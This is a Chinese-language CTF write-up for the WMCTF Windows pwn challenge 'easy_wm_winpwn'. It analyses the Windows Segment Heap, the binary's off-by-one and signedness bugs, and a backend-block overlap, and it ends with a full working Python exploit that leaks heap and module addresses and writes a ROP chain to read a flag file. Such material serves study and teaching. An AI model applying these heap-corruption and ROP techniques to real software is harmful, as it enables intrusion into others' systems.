从WMCTF winpwn中学习Segment Heap

admin 2023-11-13 14:30:56 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

 

比赛的时候没注意,一直把这题当成Nt Heap去做了,最后无功而返,准备等一下官方的writeup学习一下。结果最后没有公布,只能自己再摸索一番了,才发现是个Segment Heap题,由于之前也没有接触过,就比较针对性地学习了一下,同时分享一下解题思路,如果有错误还请批评指正。

题目分析

FrontEndHeapDebugOptions

首先题目提供的附件中有一个start.bat

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\easy_wm_winpwn.exe" /v FrontEndHeapDebugOptions /t REG_DWORD /d 0x8 /f

通过搜索FrontEndHeapDebugOptions,可以找到BlackHat 2016的一个PDF,其中介绍的就是Windows Segment Heap的机制,本文也是从学习这个PDF而来的。

其中对于FrontEndHeapDebugOptions有解释:

FrontEndHeapDebugOptions

这说明这题不是Nt Heap,而是Segment Heap,两种Heap差别还是很大的。至于如何分辨这个Heap是Nt Heap还是Segment Heap,则可通过windbg调试确定:

Segment Heap

主要逻辑

程序的逻辑并不复杂,只是套了许多小菜单,总的来说还是可以视为传统的菜单题。

简单来说,程序的功能就是注册用户,然后以某个用户的身份进行打怪的游戏,胜利之后可以进入到堆内存的操作逻辑。

其中,User management的菜单:

__int64 management()
{
  __int64 result; // rax
  unsigned int var14[5]; // [rsp+24h] [rbp-14h]

  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("=========================");
          puts("1.Create user");
          puts("2.Show user information");
          puts("3.Edit user name");
          puts("4.ret");
          puts("=========================");
          puts("Your choice: ");
          scanf("%d", var14);
          getchar();
          result = var14[0];
          if ( var14[0] != 1 )
            break;
          create();
        }
        if ( var14[0] != 2 )
          break;
        show();
      }
      if ( var14[0] != 3 )
        break;
      edit();
    }
    if ( var14[0] == 4 )
      break;
    puts("Invalid choice");
  }
  return result;
}

相关的user结构体我们定义为:

struct user
{
    int id;
    char name[80];
    char is_vip;
    int score;
    int age;
    int hurt;
};

这个菜单中的漏洞是edit的时候引入了off by one:

int edit()
{
  int result; // eax
  char v1; // [rsp+20h] [rbp-18h]
  int v2; // [rsp+24h] [rbp-14h] BYREF
  int i; // [rsp+28h] [rbp-10h]

  puts("Please enter user id:");
  scanf("%d", &v2);
  getchar();
  if ( v2 > 3 || v2 < 0 || v2 > max_id )
  {
    puts("Invalid id");
    exit(0);
  }
  result = puts("Please enter username:");
  for ( i = 0; i <= 0x50; ++i )
  {
    v1 = getchar();
    result = v1;
    if ( v1 == 10 )
      break;
    users[v2].name[i] = v1;
    result = i + 1;
  }
  return result;
}

所以可以通过name溢出到is_vip这个标志。

其次,一个没有在打印出来的菜单中显示出来的功能case 202108

int bonus()
{
  _QWORD rax5; // rax
  int result; // eax
  int var18; // [rsp+20h] [rbp-18h]
  int var14[5]; // [rsp+24h] [rbp-14h]

  puts("Please enter user id:");
  scanf("%d", &var18);
  getchar();
  if ( var18 > 3 || var18 < 0 || var18 > max_id )
  {
    puts("Invalid id");
    exit(0);
  }
  LODWORD(rax5) = (unsigned __int8)users[var18].is_vip;
  if ( users[var18].is_vip )
  {
    var14[0] = 0;
    scanf("%d", var14);
    LODWORD(rax5) = getchar();
    if ( var14[0] < 100 )
    {
      rax5 = 100i64 * var18;
      users[rax5 / 0x64].hurt = var14[0];
    }
  }
  return rax5;
}

这里发现只要is_vip != 0,就可以编辑user.hurt的值,配合上面的edit,我们就可以设置hurt为任意小于100的值,不难注意到可以是负数。

另外,buy功能提供了一个比较奇怪的操作:

void __fastcall buy()
{
  int var18[6]; // [rsp+20h] [rbp-18h]

  puts("Please enter user id:");
  scanf("%d", var18);
  getchar();
  if ( var18[0] > 3u || var18[0] > (unsigned int)max_id )
  {
    puts("Invalid id");
    exit(0);
  }
  if ( users[var18[0]].score > 0x98967Fu && !used )
  {
    used = 1;
    puts("You can get a huge gift because you defeated the monster");
    scanf("%d", var18);
    getchar();
    if ( var18[0] )
    {
      if ( var18[0] < 0x500u )
        *(_QWORD *)(ptr - (unsigned int)(8 * var18[0])) = read_ll();
    }
  }
}

就是在user.score > 0x98967F的时候,允许对ptr指向的位置进行上溢的修改操作,但只有一次机会。

之后就是主题部分,game的逻辑了:

  puts("========  Arena  =========");
  puts("1.Attack a L1near Monster");
  puts("2.Improve combat effectiveness");
  puts("3.Glory wall");
  puts("4.ret");
  puts("=========================");

这部分也比较简单,攻击的时候,只要user.hurt > rand() % 1000即可,且这里是无符号比较,只要利用上面的编辑hurt的功能修改为负数即可。

这样满足条件之后,就能提供三种tip使用,这里定义tip的结构体如下:

struct tip
{
    int user_id;
    glory *glory;
    __int64 secret;
    int type;
    char not_in_wall;
};

结合Glory Wall的逻辑,这三种tip分别用途不同:

  • tip1:只能做任意大小(0x20 ~ 0x80500)的HeapAllocHeapFree(私有堆)。
  • tip2:只能做固定大小(0x20 和 0x20000)的HeapAllocHeapFree,且只能对0x20000的块进行edit以及show
  • tip3:在idx = 0的时候,故意引入了一个除以0的异常:
    else if ( v4 == 3 && tip3_unused == 1 )
    {
        Destination = (char *)HeapAlloc(hHeap, 8u, 0x100ui64);
        tips[idx].glory = (glory *)Destination;
        tips[idx].type = 3;
        tips[idx].user_id = a1;
        tips[idx].not_in_wall = 1;
        tips[idx].secret = (__int64)tips[idx].glory ^ 0x1A1A2B2B3C3C4D4Di64;
        strncpy(Destination, "You are a hero", 0x10ui64);
        v9 = 100 / idx++;
        tip3_unused = 0;
    }
    

    相应的异常处理函数:

    .text:00007FF6A2C72036 loc_7FF6A2C72036:                       ; DATA XREF: .rdata:00007FF6A2C75150↓o
    .text:00007FF6A2C72036 ;   __except(loc_7FF6A2C73BD0) // owned by 7FF6A2C71F39
    .text:00007FF6A2C72036                 mov     eax, 20h ; ' '
    .text:00007FF6A2C7203B                 imul    rax, 0
    .text:00007FF6A2C7203F                 lea     rcx, tips
    .text:00007FF6A2C72046                 mov     rax, [rcx+rax+8]
    .text:00007FF6A2C7204B                 mov     cs:ptr, rax
    .text:00007FF6A2C72052                 mov     eax, cs:idx
    .text:00007FF6A2C72058                 inc     eax
    .text:00007FF6A2C7205A                 mov     cs:idx, eax
    .text:00007FF6A2C72060                 jmp     short loc_7FF6A2C7206F
    

    可以看出来是进行一个赋值操作ptr = tip.glory,这里就可以看出buy功能对ptr指向的位置进行上溢编辑的作用了。

    Improve combat effectiveness这部分,就是提供一个设置score为负数的机会:

    scanf("%d", &v2);
    getchar();
    if ( v2 && users[a1].score > 0 && (unsigned int)(v2 - 1) <= users[a1].score )
    {
        users[a1].score -= v2;
        users[a1].hurt += v2;
    }
    

    可以看到在score > 0v2 = score + 1的情况下,结果是score = -1,而buy功能里if ( users[var18[0]].score > 0x98967Fu && !used )同样是无符号比较,从而满足了条件。

菜单总结

这样,整个菜单我们就可以串起来了:

  1. 首先,创建一个user,在编辑user.name的时候,利用off by one设置user.is_vip,解锁case 202108功能,从而实现编辑user.hurt的值,使其满足user.hurt > 0x1000u
  2. 然后在进入game中,利用attack功能,创建tip3,触发除以0的异常处理逻辑,完成对全局变量ptr的赋值,使ptr = tips[0].glory
  3. 之后利用improve功能,设置user.score = -1,解锁buy功能,提供一次上溢修改8 bytes的功能。
  4. 最后再结合tip1和tip2实现Segment Heap的利用。

 

解题过程

由于Segment Heap的机制比较复杂,内容较多,而本篇注重于解winpwn这道题,所以只会选择性地挑选重要的部分加以解释补充,如果有不正确的地方还望指正。

Segment Heap的空间分配框架

首先我们需要了解一下Segment Heap分配空间的整体框架:

Segment Heap Framework

结合这道题目,我们只关注Backend的部分,即size <= 508 KB的逻辑;此外,由于解题过程中并没有涉及到LFH(LowFragmentHeap)的逻辑,这里也不会有所涉及,只会关注于VS(Variable Size Allocation)的部分。

申请内存空间

首先在最开始的时候:

HANDLE init_buf()
{
    FILE *v0; // rax
    FILE *v1; // rax
    FILE *v2; // rax
    HANDLE result; // rax

    v0 = _acrt_iob_func(1u);
    setvbuf(v0, 0i64, 4, 0i64);
    v1 = _acrt_iob_func(0);
    setvbuf(v1, 0i64, 4, 0i64);
    v2 = _acrt_iob_func(2u);
    setvbuf(v2, 0i64, 4, 0i64);
    result = HeapCreate(2u, 0i64, 0i64);
    hHeap = result;
    return result;
}

程序调用HeapCreate创建了一个私有Heap。

在这个Heap的开头,存放着管理这整个Heap的结构体_SEGMENT_HEAP

0:004> dt _SEGMENT_HEAP
ntdll!_SEGMENT_HEAP
   +0x000 EnvHandle        : RTL_HP_ENV_HANDLE
   +0x010 Signature        : Uint4B
   +0x014 GlobalFlags      : Uint4B
   +0x018 Interceptor      : Uint4B
   +0x01c ProcessHeapListIndex : Uint2B
   +0x01e AllocatedFromMetadata : Pos 0, 1 Bit
   +0x020 CommitLimitData  : _RTL_HEAP_MEMORY_LIMIT_DATA
   +0x020 ReservedMustBeZero1 : Uint8B
   +0x028 UserContext      : Ptr64 Void
   +0x030 ReservedMustBeZero2 : Uint8B
   +0x038 Spare            : Ptr64 Void
   +0x040 LargeMetadataLock : Uint8B
   +0x048 LargeAllocMetadata : _RTL_RB_TREE
   +0x058 LargeReservedPages : Uint8B
   +0x060 LargeCommittedPages : Uint8B
   +0x068 StackTraceInitVar : _RTL_RUN_ONCE
   +0x080 MemStats         : _HEAP_RUNTIME_MEMORY_STATS
   +0x0d8 GlobalLockCount  : Uint2B
   +0x0dc GlobalLockOwner  : Uint4B
   +0x0e0 ContextExtendLock : Uint8B
   +0x0e8 AllocatedBase    : Ptr64 UChar
   +0x0f0 UncommittedBase  : Ptr64 UChar
   +0x0f8 ReservedLimit    : Ptr64 UChar
   +0x100 SegContexts      : [2] _HEAP_SEG_CONTEXT
   +0x280 VsContext        : _HEAP_VS_CONTEXT
   +0x340 LfhContext       : _HEAP_LFH_CONTEXT

0:000> dt _HEAP_SEG_CONTEXT
ntdll!_HEAP_SEG_CONTEXT
   +0x000 SegmentMask      : Uint8B
   +0x008 UnitShift        : UChar
   +0x009 PagesPerUnitShift : UChar
   +0x00a FirstDescriptorIndex : UChar
   +0x00b CachedCommitSoftShift : UChar
   +0x00c CachedCommitHighShift : UChar
   +0x00d Flags            : <anonymous-tag>
   +0x010 MaxAllocationSize : Uint4B
   +0x014 OlpStatsOffset   : Int2B
   +0x016 MemStatsOffset   : Int2B
   +0x018 LfhContext       : Ptr64 Void
   +0x020 VsContext        : Ptr64 Void
   +0x028 EnvHandle        : RTL_HP_ENV_HANDLE
   +0x038 Heap             : Ptr64 Void
   +0x040 SegmentLock      : Uint8B
   +0x048 SegmentListHead  : _LIST_ENTRY
   +0x058 SegmentCount     : Uint8B
   +0x060 FreePageRanges   : _RTL_RB_TREE
   +0x070 FreeSegmentListLock : Uint8B
   +0x078 FreeSegmentList  : [2] _SINGLE_LIST_ENTRY

(这里的结构体和PDF中的描述的结构体有些不太一样,其中有些成员被放在了+0x100 SegContexts中)。

其中_SEGMENT_HEAP.SegContexts.SegmentListHead是一个双向链表节点,将所有的Segment都链起来,因为本题只涉及一个Segment,所以这里可以定位到Segment的位置。

Segment

在没有进行任何进一步的内存申请操作时,这个_SEGMENT_HEAP.SegContexts.SegmentListHead指向本身。

而在我们进入game逻辑,进行了内存分配(比如申请tip3)的时候,首先就会初始化一个Segment结构。

而对于每个Segment,其内存布局如下:

Segment Layout

每个Segment开头都是一个_HEAP_PAGE_SEGMENT结构体:

0:004> dt _HEAP_PAGE_SEGMENT
ntdll!_HEAP_PAGE_SEGMENT
   +0x000 ListEntry        : _LIST_ENTRY
   +0x010 Signature        : Uint8B
   +0x018 SegmentCommitState : Ptr64 _HEAP_SEGMENT_MGR_COMMIT_STATE
   +0x020 UnusedWatermark  : UChar
   +0x000 DescArray        : [256] _HEAP_PAGE_RANGE_DESCRIPTOR

其中这DescArray[2:255]就是管理0x2000偏移开始的254个page的metadata。

0:000> dt _HEAP_PAGE_RANGE_DESCRIPTOR
ntdll!_HEAP_PAGE_RANGE_DESCRIPTOR
   +0x000 TreeNode         : _RTL_BALANCED_NODE
   +0x000 TreeSignature    : Uint4B
   +0x004 UnusedBytes      : Uint4B
   +0x008 ExtraPresent     : Pos 0, 1 Bit
   +0x008 Spare0           : Pos 1, 15 Bits
   +0x018 RangeFlags       : UChar
   +0x019 CommittedPageCount : UChar
   +0x01a Spare            : Uint2B
   +0x01c Key              : _HEAP_DESCRIPTOR_KEY
   +0x01c Align            : [3] UChar
   +0x01f UnitOffset       : UChar
   +0x01f UnitSize         : UChar

之后针对这个Destination = (char *)HeapAlloc(hHeap, 8u, 0x100ui64);,即申请0x100的内存空间的操作,会进行VS SubSegment Allocation,也就是说要初始化一个VS SubSegment。

于是会触发Backend Allocation,从这个Segment中申请出一个Backend Block作为VS SubSegment使用,在实际调试过程中可以观察到:

0:004> dt _HEAP_PAGE_RANGE_DESCRIPTOR 0x23958f00000+40
ntdll!_HEAP_PAGE_RANGE_DESCRIPTOR
   +0x000 TreeNode         : _RTL_BALANCED_NODE
   +0x000 TreeSignature    : 0xccddccdd
   +0x004 UnusedBytes      : 0x1000
   +0x008 ExtraPresent     : 0y0
   +0x008 Spare0           : 0y000000000000000 (0)
   +0x018 RangeFlags       : 0xf ''
   +0x019 CommittedPageCount : 0x1 ''
   +0x01a Spare            : 0
   +0x01c Key              : _HEAP_DESCRIPTOR_KEY
   +0x01c Align            : [3]  "???"
   +0x01f UnitOffset       : 0x11 ''
   +0x01f UnitSize         : 0x11 ''
  • DescArray[2].UnitSize = 0x11表明该Backend Block由11个page构成(大小为0x11000),其中前10个page作为VS SubSegment的空间(0x10000),剩下的1个page是guard page,用来防止堆溢出影响到该VS SubSegment后面的内容:

Guard Page

  • DescArray[2].Rangeflags = 0xf是标志位,各个bit表示:
    • 0x01: PAGE_RANGE_FLAGS_LFH_SUBSEGMENT,对于首个DescArray而言(例如在这里DescArray[2:0x12]中的DescArray[2]),表示该Backend block是LFH subsegment。
    • 0x02:PAGE_RANGE_FLAGS_COMMITED。
    • 0x04:PAGE_RANGE_FLAGS_ALLOCATED。
    • 0x08:PAGE_RANGE_FLAGS_FIRST,表示该DescArray是首个。
    • 0x20:PAGE_RANGE_FLAGS_VS_SUBSEGMENT,对于首个DescArray而言,表示该Backend block是VS subsegment。

这样,在偏移0x2000 ~ 0x12000的这部分内存就是VS subsegment(不包括guard page),它开头的位置是一个_HEAP_VS_SUBSEGMENT的管理结构体,紧接着后面就是VS block,将分配给用户使用:

0:004> dt _HEAP_VS_SUBSEGMENT
ntdll!_HEAP_VS_SUBSEGMENT
   +0x000 ListEntry        : _LIST_ENTRY
   +0x010 CommitBitmap     : Uint8B
   +0x018 CommitLock       : Uint8B
   +0x020 Size             : Uint2B
   +0x022 Signature        : Pos 0, 15 Bits
   +0x022 FullCommit       : Pos 15, 1 Bit

VS Subsegment

需要注意的是,每个VS Block的前0x20个字节是头部的metadata,从0x20开始才是分配给用户使用的区域,所以第一申请得到的内存地址为Segment + 0x2000 + 0x30 + 0x20的位置。

接下来,如果继续调用attack然后申请tip2,触发HeapAlloc(hHeap, 8u, 0x20000ui64),即申请0x20000的内存时,由于实际会申请0x20000 + 0x10(加个header)的空间,它将不会触发VS Allocation的分配机制而时使用Backend Allocation进行分配,拿出连续的page当作内存空间返回给用户使用。

具体地,就是从剩下的DescArray[0x13:0xFF]的整块空间中,切割出DescArray[0x13:0x33]管理的这0x21个page(偏移0x13000 ~ 0x34000)出来使用。

Backend Allocation对空闲内存的管理

这题的关键就在于,在Backend Allocation中,有一个关键的字段,即_HEAP_PAGE_RANGE_DESCRIPTOR.UnitSize,(这里的_HEAP_PAGE_RANGE_DESCRIPTOR指的是首个)。

它表示当前的Backend block有多少的空闲的page,即表明了有多少空闲的空间可以被分配出去。

存在多个Freed的Backend block的情况下,它们则用红黑树进行组织,但这里不对细节进行描述,只需要知道在正常情况下,Backend Allocation采用Best-Fit的方式,即找到满足大小的最小Backend block进行切割(如果有必要切割)分配。

可行的利用方式

结合以上简单的了解,围绕这道题,我们可以设计出一个可能的利用场景——伪造_HEAP_PAGE_RANGE_DESCRIPTOR.UnitSize造成Backend block的overlap。

此外由于VS Subsegment也来自于Backend block,这样可以通过Backend block overlap达到对VS Subsegment整个结构的完全控制,或者更简单点,就能达到对VS block的二次分配:

                        +---------------+
                        |    .......    |
                        +---------------+
                     +--|   Page 0x02   |-------------------------+
                     |  +---------------+                         |
 Backend block 0  <--+  |    .......    |                         |
                     |  +---------------+                         |
                     +--|   Page 0x22   |                         |
                        +---------------+                         +--> Fake Backend block 0 
                     +--|   Page 0x23   |--+                      |    (overlap Backend block 1)
                     |  +---------------+  |                      |
 Backend block 1  <--+  |    .......    |  +-->  VS Subsegment    |
                     |  +---------------+  |                      |
                     +--|   Page 0x34   |--+----------------------+
                        +---------------+
                        |    .......    |
                        +---------------+

 

利用思路

  1. 首先完成“菜单总结”部分的步骤,此时Segment Heap的各种结构已经完成初始化。
  2. 利用tip1(tips[1])的任意大小内存空间分配,分配0xfe90大小的空间,将VS block用尽。
  3. 再次利用tip1(tips[2]),分配0x20000大小的空间,触发Backend Allocation(记为Backend block 1)。
  4. 利用tip2(tips[3]),此时首先会分配0x20的空间,由于之前分配的VS block已经用尽,从而这次申请内存(< 0x20000)时,触发Backend Allocation(记为Backend block 2,与Backend block 1连续)分配内存给VS Subsegment。于是这个0x20的内存空间将落在Backend block 2中,Backend block 1之后。之后再分配0x20000的空间,该地址会存放在上面提到的0x20的结构体中。
  5. 释放Backend block 1,并利用buy功能,修改DescArray[0x13].UnitSize,构造Backend block overlap,使得原Backend block 1 overlap Backend block 2。
  6. 利用tip1(tips[5]),分配0x20000大小的空间,切割Backend block 1,剩下的部分正好和Backend block 2重合。
  7. 利用tip2(tips[6]),VS Allocation正常分配第一个0x20的内存空间,而可编辑的0x20000的内存空间将通过Backend Allocation拿到Backend block 2的地址。
  8. 于是由于tips[6].glory->buf指向的地址空间正好位于VS Subsegment处,且tips[3].glorytips[6].glory结构体也落在VS block的地方,那么通过编辑tips[6].glory->buf然后show就能打印出上面的Heap地址(由于HeapAlloc传入的dwFlags = 8,申请出来的内存内容会清空,但是由于tips[6].glory是申请完再写入的,会被保留);再根据这个Heap地址即可计算出该Segment的基址。
  9. 同时,通过编辑tips[6].glory->buf指向的内存空间,就可以完全控制tips[3].glory结构体,包括其中的tips[3].glory->buf指针;但是由于tips[3].glory->encoding = 0x1a1a2b2b3c3c4d4d,而\x1a字符在Windows的字符流输入模式下相当于EOF,因此无法读入,故在对tips[3].glory->buf进行edit的时候只能一次只能写0x10 bytes,不过影响不大。
  10. 这样,我们就能通过tips[3]tips[6]构造出任意地址读的原语。
  11. 通过任意地址读,读取任意一个VS block的header,该header的前8 bytes是encode过的,具体通过:
    header = header ^ HeapKey ^ block_addr
    

    计算得出,同样的通过encode过的header,由于原header和block_addr都是已知的,可以反推出HeapKey的值(可以在调试过程中,读取ntdll!RtlpHpHeapGlobals结构体中的HeapKey进行验证,这是一个_RTLP_HP_HEAP_GLOBALS结构体)。

  12. 之后通过前面leak出来的Segment的地址,读出_HEAP_PAGE_SEGMENT.ListEntry.Flink(指向_SEGMENT_HEAP.SegContexts.SegmentListHeap),从而计算出这个私有Segment Heap的首地址。
  13. 再leak出_SEGMENT_HEAP.SegContexts.Callbacks.Allocate指针,其值为encode过的ntdll!RtlpHpVsContextAllocate值,其算法为:
    _SEGMENT_HEAP.SegContexts.Callbacks.Allocate = ntdll!RtlpHpVsContextAllocate ^ HeapKey ^ &_SEGMENT_HEAP.SegContexts
    

    由于HeapKey已经计算出来了,所以只要根据encode的值推算出ntdll!RtlpHpVsContextAllocate的值即可,从而计算出ntdll的基地址。

  14. 之后就是常规套路了,通过ntdll!PebLdr - 0x78处的PEB相关地址,leak出PEB的地址,并且由于PEB和TEB的地址偏移固定,故可以leak出TEB的地址;此外还能读取PEB上存放的program base值,再通过程序IAT表中的导入函数,得到各个有需要的dll的基址即可;此外读取TEB中的Stack Base准备爆破game函数函数栈位置。
  15. 最后在game的返回地址处写ROP进行ORW(这里尝试直接执行system("cmd.exe")无法getshell,原因不明),且需要注意的是,与Linux下的用户态程序相比,Windows的栈行为有些不同:

Windows call stack

从这张图中可以看出,作为调用者的Function A,其还会保留0x20 bytes的空间,供被调用的Function B存放四个参数寄存器RCX RDX R8 R9;也就是说,我们不能像在Linux下一样布置ROP,而要考虑到这部分`register parameter stack area`的空间会被破坏。

然后退出game,触发ROP读flag即可。

 

补充

由于我个人也没有完全搞清楚整个Segment Heap的机制,仅是在针对WMCTF winpwn这道题的情况下进行了部分的分析,整个过程也学习到了很多,但仍有许多细节没有弄清楚。原PDF分析得十分清楚,还需要深入地学习。

 

exp

from winpwn import *
import sys

context.log_level = 'debug'
context.arch = 'amd64'

p = process("./easy_wm_winpwn.exe")

if len(sys.argv) == 2 and sys.argv[1] == '1':
    windbgx.attach(p)

def choose(choice):
    p.sendlineafter("Your choice: ", str(choice))

def enter_game(id):
    choose(1)
    p.sendlineafter("Please enter user id:", str(id))

def exit_game():
    choose(4)

def attack(tip, size=0):
    choose(1)
    choose(tip)
    if tip == 1:
        p.sendlineafter("Acquired size: ", str(size))

def improve(val):
    choose(2)
    p.sendline(str(val))

def show_wall(idx):
    choose(3)
    choose(1)
    p.sendlineafter("plz:", str(idx))

def edit_wall(idx, content):
    choose(3)
    choose(2)
    p.sendlineafter("plz:", str(idx))
    p.send(content)

def delete_wall(idx):
    choose(3)
    choose(3)
    p.sendlineafter("plz:", str(idx))

def enter_manage():
    choose(2)

def exit_manage():
    choose(4)

def create_user(name, age):
    choose(1)
    p.sendafter("Please enter username:", name)
    p.sendlineafter("Please enter age:", str(age))

def show_user(id):
    choose(2)
    p.sendlineafter("Please enter user id:", str(id))

def edit_user(id, name):
    choose(3)
    p.sendlineafter("Please enter user id:", str(id))
    p.sendafter("Please enter username:", name)

def buy(id, offset, val):
    choose(3)
    p.sendlineafter("Please enter user id:", str(id))
    p.sendlineafter("You can get a huge gift because you defeated the monster", str(offset))
    p.sendline(str(val))

def bonus(id, val):
    choose(0x3157C)
    p.sendlineafter("Please enter user id:", str(id))
    p.sendline(str(val))

def verify(id):
    enter_manage()
    show_user(id)
    exit_manage()

def arbitrary_read(addr):
    payload = "A" * 0x48 + p64(addr)
    edit_wall(6, payload)
    show_wall(3)
    p.recvuntil("Content: ")
    return u64(p.recvuntil('\r\n')[:-2][:8].ljust(8, "\x00"))

def arbitrary_write(addr, val):
    payload = "A" * 0x48 + p64(addr)
    edit_wall(6, payload)
    edit_wall(3, val)

# off by one, change is_vip
enter_manage()
create_user("AAA\n", 0)
edit_user(0, "A" * 0x50 + '\x01')
exit_manage()

# use bonus to change hurt to a negative number
bonus(0, 1 << 31)

# verify
verify(0)

# trigger dividing zero exception and make score = -1
enter_game(0)
attack(3)
pause()
improve(2)
exit_game()

# verify
verify(0)

enter_game(0)
attack(1, 0xfe90) # use up
attack(1, 0x20000) # 2
attack(2) # 3 (new vs blocks)
attack(1, 0x20000) # 4 (gap)
improve(4) # make score = -1
delete_wall(2)
exit_game()

# backend block overlap
buy(0, 0x3bb, 0x4204ffff00000002) # change backend block size (overlap)

enter_game(0)
attack(1, 0x20000) # 5
attack(2) # 6 (now overlap done)

# leak heap address
payload = "A" * 0x80
edit_wall(6, payload)
show_wall(6)
p.recvuntil(p64(0x1a1a2b2b3c3c4d4d))
heap_addr = u64(p.recv(6) + "\x00" * 2)

# leak SEGMENT HEAP 
res = arbitrary_read(heap_addr - 0x34010)
segment_heap_addr = res - 0x148

# leak and calulate HeapKey (ntdll!RtlpHpHeapGlobals->HeapKey)
res = arbitrary_read(heap_addr - 0x31fe0)
plain_head = 0x100000012000f
heapkey = res ^ (heap_addr - 0x31fe0) ^ plain_head

# leak ntdll base through callbacks
vs_context_addr = segment_heap_addr + 0x280
vs_context_callbacks_addr = vs_context_addr + 0x88
res = arbitrary_read(vs_context_callbacks_addr)
RtlpHpSegVsAllocate_addr = (res ^ vs_context_addr ^ heapkey)
ntdll_base = RtlpHpSegVsAllocate_addr - 0x77440

# leak PEB
pebldr_addr = ntdll_base + 0x16a4c0
peb_addr = arbitrary_read(pebldr_addr - 0x78) - 0x80
teb_addr = peb_addr + 0x1000

# leak program base
prog_base = arbitrary_read(peb_addr + 0x12) << 16

# leak stack base
stack_base = arbitrary_read(teb_addr + 0xa) << 16

# leak ucrtbase base
puts_iat = prog_base + 0x4228
puts_addr = arbitrary_read(puts_iat)
ucrtbase_base = puts_addr - 0x83d50

# leak kernel32 base
heap_create_iat = prog_base + 0x4000
heap_create_addr = arbitrary_read(heap_create_iat)
kernel32_base = heap_create_addr - 0x1ff50

# brute force stack address
game_ret_addr = prog_base + 0x27f1
stack_addr = stack_base - 0x8
while stack_addr > stack_base - 0x3000:
    addr = arbitrary_read(stack_addr)
    if addr == game_ret_addr:
        break
    stack_addr -= 8

# write rop
pop_rcx = ucrtbase_base + 0x2aa80
pop_rdx = kernel32_base + 0x24d92
pop_r8 = ntdll_base + 0x7223
pop_4regs = ntdll_base + 0x8c552 
open_addr = ucrtbase_base + 0xa5550
read_addr = ucrtbase_base + 0x182a0
# cmd_exe = ucrtbase_base + 0xd0cb0
# system_addr = ucrtbase_base + 0xae5c0
# payload = p64(pop_rcx) + p64(cmd_exe) + p64(pop_rcx + 1) + p64(system_addr)
payload = p64(pop_rcx + 1) + p64(pop_rcx) + p64(stack_addr + 0xd0) + p64(pop_rdx) + p64(0) + p64(open_addr)
payload += p64(pop_4regs) + p64(0) * 4
payload += p64(pop_rcx) + p64(3) + p64(pop_rdx) + p64(heap_addr) + p64(pop_r8) + p64(0x30) + p64(read_addr)
payload += p64(pop_4regs) + p64(0) * 4
payload += p64(pop_rcx) + p64(heap_addr) + p64(puts_addr)
payload += "flag.txt\x00"
arbitrary_write(heap_addr + 0x88, p64(stack_addr))
edit_wall(6, payload)

# trigger rop
exit_game()

print("[+]segment_heap_addr: %s" % hex(segment_heap_addr))
print("[+]heapkey: %s" % hex(heapkey))
print("[+]ntdll_base: %s" % hex(ntdll_base))
print("[+]peb_addr: %s" % hex(peb_addr))
print("[+]teb_addr: %s" % hex(teb_addr))
print("[+]prog_base: %s" % hex(prog_base))
print("[+]stack_base: %s" % hex(stack_base))
print("[+]ucrtbase_base: %s" % hex(ucrtbase_base))
print("[+]kernel32_base: %s" % hex(kernel32_base))
print("[+]stack_addr: %s" % hex(stack_addr))

p.interactive()

 

相关链接

weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论:0   参与:  1